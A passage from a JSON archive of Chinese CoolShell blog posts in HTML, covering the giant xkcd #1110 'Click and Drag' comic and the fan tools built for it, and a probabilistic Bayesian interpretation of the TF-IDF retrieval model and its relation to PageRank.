API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-10-16 xkcd 神图“Click and Drag”.html",
    "content": "<html><body><p><a href=\"http://xkcd.com/\" target=\"_blank\">xkcd</a>对于经常浏览国外网站的朋友一定不会陌生。不过，还是先让我来介绍一下xkcd（<a href=\"http://en.wikipedia.org/wiki/Xkcd\" target=\"_blank\">维基百科词条</a>）。这是一个漫画网站，它主要是发布一些很简单的随手画的漫画，它主要有四种体裁——浪漫、讽刺、数学 和 语言。也会经常出现一些和IT有关的漫画，比如下面这个漫画—— （懂Unix的人一眼就看懂了，不懂的怎么看也看不懂）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-8399\" height=\"299\" src=\"../wp-content/uploads/2012/10/xkcd-sandwich.png\" title=\"xkcd-sandwich\" width=\"360\"/></p>\n<p>本质上来说，xkcd是一种Geek文化，里面的东西都非常的Geek和晦涩，讽刺很辛辣，但很多只有特定人群可以看得懂。而且表达的形式自由到天马行空，飘忽不定。</p>\n<p><span id=\"more-8398\"></span></p>\n<p>xkcd.com的网站创建者、所有的漫画的作者叫<a href=\"http://en.wikipedia.org/wiki/Randall_Munroe\" title=\"Randall Munroe\">Randall Munroe</a><img alt=\"\" class=\"alignright\" height=\"343\" src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/f/f4/Randall_Munroe_ducks.JPG/230px-Randall_Munroe_ducks.JPG\" title=\"Randall Munroe\" width=\"230\"/>，他以前在 NASA工作，是那里的Roboticist——机器人专家，80后，同样，也是一个程序员。他还会画漫画。</p>\n<p>xkcd是他于2005年创建的，他本来只是想把他大学里在记事本里画的漫画放到他的个人主页上，但结果却搞成了一个独立的以漫画为主的网站，他用他画的这些漫画做成T恤卖。为什么要取名叫xkcd，据Munroe说，这四个字母，没有任何意义，就是为了让人不能把他们通过拼成一个单词读出来。现在他全职在搞xkcd.com。他现在一周会更新三次漫画，分别在周一，周三，和周五。</p>\n<p>到了2007年5月，xkcd上的漫画才被广泛转载。2008年10月， <em><a href=\"http://en.wikipedia.org/wiki/The_New_Yorker\" title=\"The New Yorker\">The New Yorker</a></em> 杂志对Munroe做了一个采访。</p>\n<p>2010年3月，xkcd的书里的<a href=\"http://forums.xkcd.com/viewtopic.php?p=2042913#p2042829\" target=\"_blank\">谜底被解决了</a>，Munroe在旧金山的金门大桥公园里给他的Fans发了255本限量版的书。</p>\n<p>2012年4月1日愚人节，他的1037 号漫画(“Umwelt”) 会根据不同的IP，浏览器和地址显示不同的漫画。</p>\n<p>2012年9月19号，xkcd的第1110号图问世了。</p>\n<h4>XKCD #1110 神图</h4>\n<p>这个图上面就是三格小漫画，一个小人拿着气球，还有两句耐人寻味的话。而<strong>这三格漫画图的下面是一个风景图，取名 Click and Drag，也就是让你点住图片拖动。于是你就不能自拔了。</strong></p>\n<p>我只所以在前面写了那么多东西，而不是把这个链接放在一开始，就是害怕你点了这个图，就再也不回来了。</p>\n<p>好了，现在你可以点下面的链接开这个神图了 （你会发现这个图怎么也拖不完，无穷完尽的，所以，还请你先回来）<strong></strong></p>\n<p style=\"text-align: center; font-size: 24px;\"><strong> <a href=\"http://www.xkcd.com/1110/\" target=\"_blank\">Click and Drag</a></strong></p>\n<p style=\"text-align: center;\"><strong><span style=\"color: #cc0000;\">但请你一定还要回来，本文后面还有精彩内容!</span></strong></p>\n<p><strong>这个图一发布，几乎全世界的各大论坛都在疯狂的转载，很多媒体都关注这个漫画，各种技术社区如：reddit 在疯狂地讨论着这个图是怎么实现的，有多大？还有很多人再分析这个图里的内容，这个图里隐藏着很多很有意思的东西，《有2001太空漫游》，有《星球大战》，还有《超级马丽》等等。</strong></p>\n<p style=\"text-align: center;\"><strong>几乎整个互联网都沸腾了，但好像中国社区对此事完全不知。</strong></p>\n<p>网上出现了很多相关的blog和站点来分析这个图片。如果你在Google里搜xkcd 1110，你会发现很多内容。</p>\n<h4>这个图有多大</h4>\n<ul>\n<li>这个图可以分解成 2592 个 2048 x 2048 像素的图。</li>\n</ul>\n<ul>\n<li>但其中只有 225 个 2048 x 2048 的PNG 图片文件。而剩下的2337 基本上是纯黑的或是纯白的块。比如地下和天空。</li>\n</ul>\n<ul>\n<li>整个图横向有81个2048 x 2048的图（左边有33个，右边有48个），纵向有32个 2048 x 2048个图（天上有13个，地下有19个）</li>\n</ul>\n<ul>\n<li>老大当晚Release的全尺寸的大图（比现在你看到的还要大），不算空白处，图片共有60G的像素，而如果要算上整个图将会是T级别的像素。现在你看到版本已被做过优化，不算空白处，只有1G的像素，而算上全图有10G的像素。 (2048x2048x225 = 943,718,400 和 2048x2048x2592 = 10,871,635,968).</li>\n</ul>\n<ul>\n<li>如果我们按比例来看的话，图中的32个象素对应于现实世界的5英尺，那么，这个图的宽有25920英尺（7.9公里），高有10240英尺（3.1公里）。</li>\n</ul>\n<ul>\n<li>如果每个 2048 x 2048 的PNG图可以被打印成一个300 dpi的宣传画，那么，这个宣传画基本上是14.05米宽，5.55米高的图。现在的PNG被调整过了，只有72dpi左右。</li>\n</ul>\n<p>有人说，创作这么这个大图很费时间。不过我觉得这对于Geek来说不是问题，因为这应该是可以通过矢量图的拼装来搞定。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_8400\" style=\"width: 645px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/10/xkcd1110.png\"><img alt=\"xkcd 1110全景缩略图（点击看大缩略图）\" class=\"wp-image-8400\" height=\"218\" src=\"../wp-content/uploads/2012/10/xkcd1110-1024x346.png\" title=\"xkcd 1110全景缩略图（点击看大缩略图）\" width=\"645\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-8400\">xkcd 1110全景缩略图（点击看大缩略图）</figcaption></figure>\n<h4>看看技术宅们干了什么</h4>\n<p>下面我只记录了些不完全的技术宅们的因为这个画搞出来的东西。大家可以补充。</p>\n<p style=\"padding-left: 30px;\">1）如果你用鼠标翻得不爽的话，你可以<a href=\"http://www.potch.me/blog/press-and-hold.html\" target=\"_blank\">看看这篇文章</a>，在你的Chrome下按Ctrl+Shift+I，然后到Javascript控制台里，粘贴文中的代码，于是，你就可以用键盘的光标键移动并浏览整个世界了。</p>\n<p style=\"padding-left: 30px;\">2）这是个全屏版的：<a href=\"http://ares.aylett.co.uk/xkcd/\" rel=\"nofollow\">http://ares.aylett.co.uk/xkcd/</a></p>\n<p style=\"padding-left: 30px;\">3）如果你要下载所有的图，你可以使用这个<a href=\"http://lebbeo.us/static/get-xkcd-1110.py\" target=\"_blank\">Python脚本</a>来完成（<a href=\"http://lebbeo.us/2012/09/19/not-bbq-fetching-component-images-of-xkcd-comic-1110/\" target=\"_blank\">转自这篇文章</a>）</p>\n<p style=\"padding-left: 30px;\">4）还有人把它搞成了像Google Map一样的东西。 你可以访问下面的链接：</p>\n<blockquote>\n<ul>\n<li><a href=\"http://xkcd-map.rent-a-geek.de/\" target=\"_blank\">http://xkcd-map.rent-a-geek.de/</a></li>\n<li><a href=\"http://xkcdmap.webege.com/\" target=\"_blank\">http://xkcdmap.webege.com/ </a></li>\n</ul>\n<p>5）看看Hacker News的讨论贴吧，什么都有了（<a href=\"http://news.ycombinator.com/item?id=4542367\" target=\"_blank\">http://news.ycombinator.com/item?id=4542367</a>）</p></blockquote>\n<p>当然，对于这个图最强的一个站点如下，解释了所有和这个图有关信息，包括图中的各种文字和图案的意思。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.explainxkcd.com/wiki/index.php?title=1110:_Click_and_Drag\" target=\"_blank\">http://www.explainxkcd.com/wiki/index.php?title=1110:_Click_and_Drag</a></p>\n<p style=\"text-align: left;\">看到这个图后，我陷入了深深地沉思，我在想。是什么样的动力能让人干出这样的事来？兴趣，还是为了好玩。还就是为了证明他能干一些让人拍案叫绝的东西？<strong>这可能就是一种Geek精神吧。就是为了能做出让世人冿冿乐道的东西</strong>。</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8398.html\">xkcd 神图“Click and Drag”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-10-24 TF-IDF模型的概率解释.html",
    "content": "<html><body><p><strong><span style=\"color: #cc0000;\">（感谢 </span></strong><a href=\"http://weibo.com/weidagang\" target=\"_blank\">@猫叔shiro</a><strong><span style=\"color: #cc0000;\">（以前的todd） 投递此文）</span></strong></p>\n<h4>信息检索概述</h4>\n<p>信息检索是当前应用十分广泛的一种技术，论文检索、搜索引擎都属于信息检索的范畴。通常，人们把信息检索问题抽象为：在文档集合D上，对于由关键词w[1] … w[k]组成的查询串q，返回一个按查询q和文档d匹配度relevance(q, d)排序的相关文档列表D’。</p>\n<p>对于这一问题，先后出现了布尔模型、向量模型等各种经典的信息检索模型，它们从不同的角度提出了自己的一套解决方案。布尔模型以集合的布尔运算为基础，查询效率高，但模型过于简单，无法有效地对不同文档进行排序，查询效果不佳。向量模型把文档和查询串都视为词所构成的多维向量，而文档与查询的相关性即对应于向量间的夹角。不过，由于通常词的数量巨大，向量维度非常高，而大量的维度都是0，计算向量夹角的效果并不好。另外，庞大的计算量也使得向量模型几乎不具有在互联网搜索引擎这样海量数据集上实施的可行性。</p>\n<h4>tf-idf模型</h4>\n<p>目前，真正在搜索引擎等实际应用中广泛使用的是tf-idf模型。tf-idf模型的主要思想是：如果词w在一篇文档d中出现的频率高，并且在其他文档中很少出现，则认为词w具有很好的区分能力，适合用来把文章d和其他文章区分开来。该模型主要包含了两个因素：</p>\n<p><span id=\"more-8422\"></span></p>\n<p>1) 词w在文档d中的词频tf (Term Frequency)，即词w在文档d中出现次数count(w, d)和文档d中总词数size(d)的比值：</p>\n<pre><code>tf(w,d) = count(w, d) / size(d) </code></pre>\n<p>2) 词w在整个文档集合中的逆向文档频率idf (Inverse Document Frequency)，即文档总数n与词w所出现文件数docs(w, D)比值的对数:</p>\n<pre><code>idf = log(n / docs(w, D)) </code></pre>\n<p>tf-idf模型根据tf和idf为每一个文档d和由关键词w[1]…w[k]组成的查询串q计算一个权值，用于表示查询串q与文档d的匹配度：</p>\n<pre><code>\ntf-idf(q, d) \n= sum { i = 1..k | tf-idf(w[i], d) } \n= sum { i = 1..k | tf(w[i], d) * idf(w[i]) } \n</code></pre>\n<h4>信息检索问题的概率视角</h4>\n<p>直观上看，tf描述的是文档中词出现的频率；而idf是和词出现文档数相关的权重。我们比较容易定性地理解tf-idf的基本思想，但具体到tf-idf的一些细节却并不是那么容易说清楚为什么。比如：</p>\n<p>1) 为什么tf是count(w, d) / size(d)？能不能是log(count(w, d) / size(d))等其他形式？</p>\n<p>2) 为什么idf是一个log形式？</p>\n<p>3) 为什么tf和idf之间是乘积关系，而不是加法或指数关系？</p>\n<p>4) 为什么多个关键词的tf-idf值是加法关系，而不是乘法或者指数关系？</p>\n<p>5) 除了tf-idf值，Google还会计算网页的PageRank值，二者相乘得到最后的权值，为什么是乘法，而不是加法或指数？</p>\n<p>据说，最初甚至tf-idf的提出者自己也没有对诸如“为什么idf是log形式”这个问题给出有力的解释，虽然后来有人从信息论的角度对idf的log形式给出了令人信服的解释，但是剩下的其他一些疑问仍然存在。在我了解的范围内，对于tf-idf模型还没有一个真正统一完整的理论解释。在试图为tf-idf找到更好的理论解释的过程中，我意识到对tf-idf模型种种疑问的根源在于tf-idf试图表达的“查询q和文档的匹配度”本身就有一定的模糊性，什么叫做“匹配度”，这就有很大的自由发挥空间。如果说向量模型的用向量夹角来表示匹配度概念还有一定的理论基础，那么用tf-idf来表达匹配度就有点“与其说是科学，不如说是艺术”的味道。</p>\n<p>更进一步，其实，信息检索问题的抽象方式“在文档集合D上，对于给定查询串q，返回一个按查询q和文档d匹配度relevance(q, d)排序的相关文档列表D’”本身是值得反思的。我们应当考虑抛弃“匹配度”这种模糊的目标，从根源上寻求一种具有明确数学意义的目标。如果我们从概率视角来看，<strong>把“查询串q和文档d的匹配度”问题转换为“当查询串是q时，用户期望获得文档d的概率”问题</strong>，信息检索问题就清晰多了。一方面这个概率描述是站在人的角度来看待信息检索问题的，更加贴近实际的用户体验；另一方面，概率本身是有明确数学意义的，这样我们就首先从目标上对问题进行了严格化。</p>\n<p>下面，我将通过一个模型，从概率的视角，一边解释tf-idf的概率意义，一边指出其不合理之处。</p>\n<h4>盒子小球模型</h4>\n<p>为了分析“当查询串是q时，用户期望获得文档d的概率”问题，我首先建立了一种称为“盒子小球模型”的简化模型。盒子小球模型把词想象成各种不同颜色的小球，文档想象成装有若干小球的盒子，把“当查询串是q时，用户期望获得文档d的概率“转换为下面的问题：</p>\n<p><strong>有n个盒子d[1], d[2], … d[n]，每个盒子中有若干不同颜色的小球，有人随机地选择了一个盒子，并从盒子中随机地拿出了一个颜色为w[j]的小球，那么这个小球来自于盒子d[i]的概率是多少？</strong></p>\n<p>其实，这就是经典的条件概率问题P(d[i] | w[j])，采用贝叶斯推断将其转化为：</p>\n<pre><code>\nP(d[i] | w[j]) \n= P(d[i], w[j]) / P(w[j]) \n= P(d[i]) * P(w[j] | d[i]) / P(w[j]) \n</code></pre>\n<p>我们注意到这个条件概率包括几个部分，P(d[i])是盒子d[i]被选中的先验概率，p(w[j])是w[j]颜色小球被选中的先验概率，P(w[j] | d[i])是在盒子d[i]中选中颜色w[j]小球的条件概率。</p>\n<h4>文档先验概率P(d)与PageRank</h4>\n<p>首先，我们来看盒子d[i]被选中的先验概率P(d[i])是什么。P(d[i])的意义是：当用户什么也没有输入的时候，它可能对文档d[i]感兴趣的概率。在没有更多信息的情况下，我们可以认为每个盒子被选中的先验概率P(d[i])是相等的，都等于1 / m，其中m表示总文档数（总盒子数），这时P(d[i])作为公共系数可被忽略。不过，在实际应用中，我们通常可以根据其他知识获得各文档的先验概率，比如，学术文献和网页通常可以基于引用度模型计算其先验概率，这些经典论文和热门网页是多数人乐于见到的。说到这里，你可能已经发现，Google PageRank本质上就是这个先验概率P(d[i])乘以某个系数！所以，PageRank实际上也被纳入这个条件概率模型中来了，这就不难解释为什么在Google的排序算法中PageRank权重和tf-idf权重是一种乘积关系而不是加或者指数关系。另一方面，在理解了文档先验概率对整个搜索结果概率的影响后，当搜索引擎中针对PageRank出现各种假链接SEO时，我们可以不拘泥于基于链接引用模型的PageRank，只要是以网页先验概率为目标，不论是采用基于链接引用的PageRank，还是基于搜索结果点击数模型，或是其他模型，都是可以的。这就是“变通”，从原理上“通”了，就可以在方法上“变”。</p>\n<h4>词的先验概率P(w)</h4>\n<p>下面我们来考察词w[j]的先验概率P(w[j])。P(w[j])的意义是：在整个文档集合中，w[j]被作为搜索关键词的概率，比如：“iPhone 5”，“青花瓷”这类词被用作搜索关键词的概率较高，而“的”，“什么”，“我们”这类高频词不大可能成为搜索关键词。那么，我们如何来定量计算P(w[j])呢？一种思路就是把w[j]在文档集中出现的频率作为其先验概率。不过，显然存在更好的方案：在大量的搜索查询中进行统计，统计方法得出P(w[j])的方法很接近P(w[j])本质的，不需要引入额外的假设。比如，一段时间内某搜索引擎的搜索总次数为10^10次，“公积金”这个词出现了100次，那么，我们可以认为先验概率P(“公积金”)就是100 / 10^10 = 10^-8。</p>\n<h4>词代表文档主题的条件概率P(w | d)</h4>\n<p>最后，我们来看条件概率P(w[j] | d[i])。P(w[j] | d[i])的意义是在文档d[i]中，人们用关键词w[j]来搜索它的概率。那么，什么样的词是人们会用来搜索一篇文档的呢？多数情况下，是那些代表一篇文档主题的词。比如，有一篇新闻是关于iPhone 5发布会的，那么“iPhone5”， “发布会”，“库克”，“苹果”这些词基本上就构成了文章的主题；那么，反过来说，如果用户想搜索这篇关于iPhone 5发布会的新闻，他就有很大的可能通过这几个词来进行搜索。我们应当注意分辨P(w[j] | d[i])与P(w[j])的区别，后者可以通过大量的查询统计得来，而前者不能与后者直接划等号，因为前者的意义是w[j]代表d[i]主题的概率。如果非要引入统计方法，那么P(w[j] | d[i])对应的统计是：当搜索关键词是w[j]且搜索结果包含d[i]时，用户点击（满意）d[i]作为搜索结果的频率。比如，用“iPhone5 发布会”的搜索，在结果中有都10000次出现了网页x，其中，用户8000次点击了网页x，那么，可以认为有80%的概率网页x的主题是关于“iPhone5 发布会”的。</p>\n<h4>词的信息量和idf</h4>\n<p>上面谈到了对P(w[j] | d[i])的计算的统计方法，但该方法有一定的局限，比如，要能进行统计首先需要文档出现在足够多的搜索结果中，需要时间和量的积累。除了统计方法外，我们可以考虑其他方法计算词w[j]代表文档d[i]主题的概率。可能有人立刻会想到要对文章进行语义分析提取关键词，给这些关键词高权重，给其他词低权重。这种想法有一定的合理性，但实现上涉及语义分析，没有成熟高效的方法。实际上，信息论为我们提供了另一条高效方案。上面谈到“的”，“什么”，“我们”这类高频词不会成为文档主题和搜索关键词的原因是它们不能提供足够的信息，而“iPhone 5”，“发布会”这样的词汇则信息量丰富。所谓信息是指对不确定性（熵）的减小程度，信息的单位是比特(bit)，信息量越大对于不确定性的减小程度越大。比如，外面可能在下雨也可能没有下雨，可能性空间大小为2，如果我们看一眼窗外，可能性空间就变成了1，那么“看见窗外在下雨”所提供的信息量就和熵的减小程度成正比，具体来讲等于log(2/1)=1。如果要用二进制编码是否下雨，需要1个bit，0代表没有下雨，1代表下雨。</p>\n<p>但在很多场景下，各个可能性的概率并不相同，比如：欧洲杯16只球队都可能夺冠，赛前它们夺冠的先验概率并不相同，那么结果的不确定性程度实际上是小于log(16)=4。如果你没有看比赛，有人告诉你西班牙夺冠了，你可能会觉得很正常，但如果有人告诉你瑞士夺冠了，你通常会非常惊讶。这一现象的理论解释是，如果赛前西班牙夺冠概率是1/4，而瑞士夺冠概率是1/32，那么，“西班牙夺冠”的信息量为log(4)=2，即把不确定性减小为原来的1/4，而“瑞士夺冠”的信息量为log(32)=5，不确定性减小为原来的1/32，一下子接受比前者大了两倍以上的信息量，当然你会吃惊。</p>\n<p>回到信息检索，比如，“2012美国大选”这个查询串包含了“2012”，“美国”和“大选”3个关键词，我们应该如何定量计算它们的信息量呢？根据信息的定义，词的信息量等于它对不确定性的缩小程度。如果文档总数为2^30，其中2^14篇文档出现了“美国”，那么“美国”这个词就把文档的不确定性从2^30缩小为2^14，它所包含的信息量为log(2^30/2^14)=16；而只有2^10篇文档出现了“大选”，那么大选的信息量就是log(2^30/2^10)=20，比“美国”多了4个bit。而“的”，“什么”，“我们”这些高频词对减小文档不确定性几乎没有帮助，因而信息量为0。相信你已经发现，上面idf(w)公式中的log(n / docs(w, D))实际上就是词w的信息量了。</p>\n<p>如果我们考虑词的信息量对条件概率P(w[j] | d[i])的影响，假设“词w在文档中被选中的概率与其在文档中的出现频率和其信息量的乘积成正比”，那么上面的条件概率模型就变成：</p>\n<pre><code>\nP(d[i] | w[j]) \n= P(d[i], w[j]) / P(w[j]) \n= P(d[i]) * P(w[j] | d[i]) / P(w[j]) \n= P(d[i]) * (tf(w[j], d[i]) * idf(w[j] / sum { k = 1..size(d[i]), tf(w[k], d[i]) * idf(w[k]) }) / p(w[j]) \n= P(d[i]) * (tf-idf(w[j], d[i]) / sum { k = 1..size(d[i]), tf-idf(w[k], d[i]) }) / p(w[j]) \n= P(d[i]) * (tf-idf(w[j], d[i]) / tf-idf(d[i])) / p(w[j]) \n</code></pre>\n<p>我们看到tf-idf已经被纳入框架内了，但是还多出文档先验概率P(d[i])，关键词先验概率P(w[j])和文档各词的总tf-idf(d[i])。普通搜索引擎是基于PageRank和tf-idf的，那么，根据这个概率模型，我们可以看出，它没有考虑文档总tf-idf(d[i])和关键词先验概率p(w[j])。如果考虑这两个因素，相信搜索效果会更好。</p>\n<h4>多关键词</h4>\n<p>上面的条件概率模型主要是针对单个关键词的情况，下面我们进一步将其扩展到多关键词情况。我们知道，在tf-idf中，多个关键词的所产生的tf-idf值是一种叠加关系，那么这是否符合条件概率模型呢？答案是否定的。在两个关键字情况下，条件概率问题转化为“如果有人从一个盒子中同时摸出颜色w[x]的小球和颜色w[y]的小球，这两个小球来自于盒子d[i]的概率是多少？”。假设从盒子中摸出各个小球事件是相互独立的情况下，即</p>\n<pre><code>\nP(w[x], w[y]) \n= P(w[x]) * P(w[y]) P(w[x], w[y] | d[i]) \n= P(w[x] | d[i]) * P(w[y] | d[i]) \n</code></pre>\n<p>我们可以推导出条件概率：</p>\n<pre><code>\nP(d[i] | w[x], w[y]) \n= P(d[i], w[x], w[y]) / P(w[x], w[y]) \n= P(d[i]) * P(w[x], w[y] | d[i]) / P(w[x], w[y]) \n= P(d[i]) * P(w[x] | d[i]) * P(w[y] | d[i]) / (P(w[x] * P(w[y])) \n= P(d[i]) * (tf-idf(w[x], d[i]) / tf-idf(d[i])) * ((tf-idf(w[y], d[i]) / tf-idf(d[i]))) / (p(w[x]) * P(w[y])) \n</code></pre>\n<p>可见，概率模型所得出的各个关键词的tf-idf值之间是乘积关系，这是与tf-idf模型的加法关系是不同的。这一点可能与二者是否要求“文档必须包含所有查询关键词”的基本假设有关系。在文档不包含所有关键字的这种情况下，tf-idf模型可能得出一个非0的匹配度，但条件概率模型得出的概率肯定为0。不过，如果考虑一般查询关键词数量不多（3个以内），而大量文档都同时包含这些关键词，概率模型的乘积关系是比tf-idf模型的加法关系更有理论基础。从根本上讲，这是因为tf-idf的“匹配度”是一个模棱两可的概念，而条件概率有坚实的理论基础。</p>\n<h4>总结</h4>\n<p>TF-IDF模型是搜索引擎中广泛使用的信息检索模型，但对于TF-IDF模型一直存在各种疑问。本文为信息检索问题一种基于条件概率的盒子小球模型，其核心思想是把“查询串q和文档d的匹配度问题”转化为“查询串q来自于文档d的条件概率问题”。它从概率的视角为信息检索问题定义了比TF-IDF模型所表达的匹配度更为清晰的目标。从概率模型中，我们看到查询串q来自于文档d的条件概率主要包含以下几个因素：1) 文档的先验概率P(d[i])，这与PageRank对应；2) 词w被作为搜索关键词的先验概率P(w)，这可以通过统计方法获得；3) 关键词w代表文档d主题，或以词w搜索文档d的概率，P(w | d)，除了统计方法，这可以通过tf-idf来计算。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17391.html\"><img alt=\"为什么我不在微信公众号上写文章\" height=\"150\" src=\"../wp-content/uploads/2016/07/Community-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17391.html\">为什么我不在微信公众号上写文章</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8422.html\">TF-IDF模型的概率解释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-11-20 如何测试洗牌程序.html",
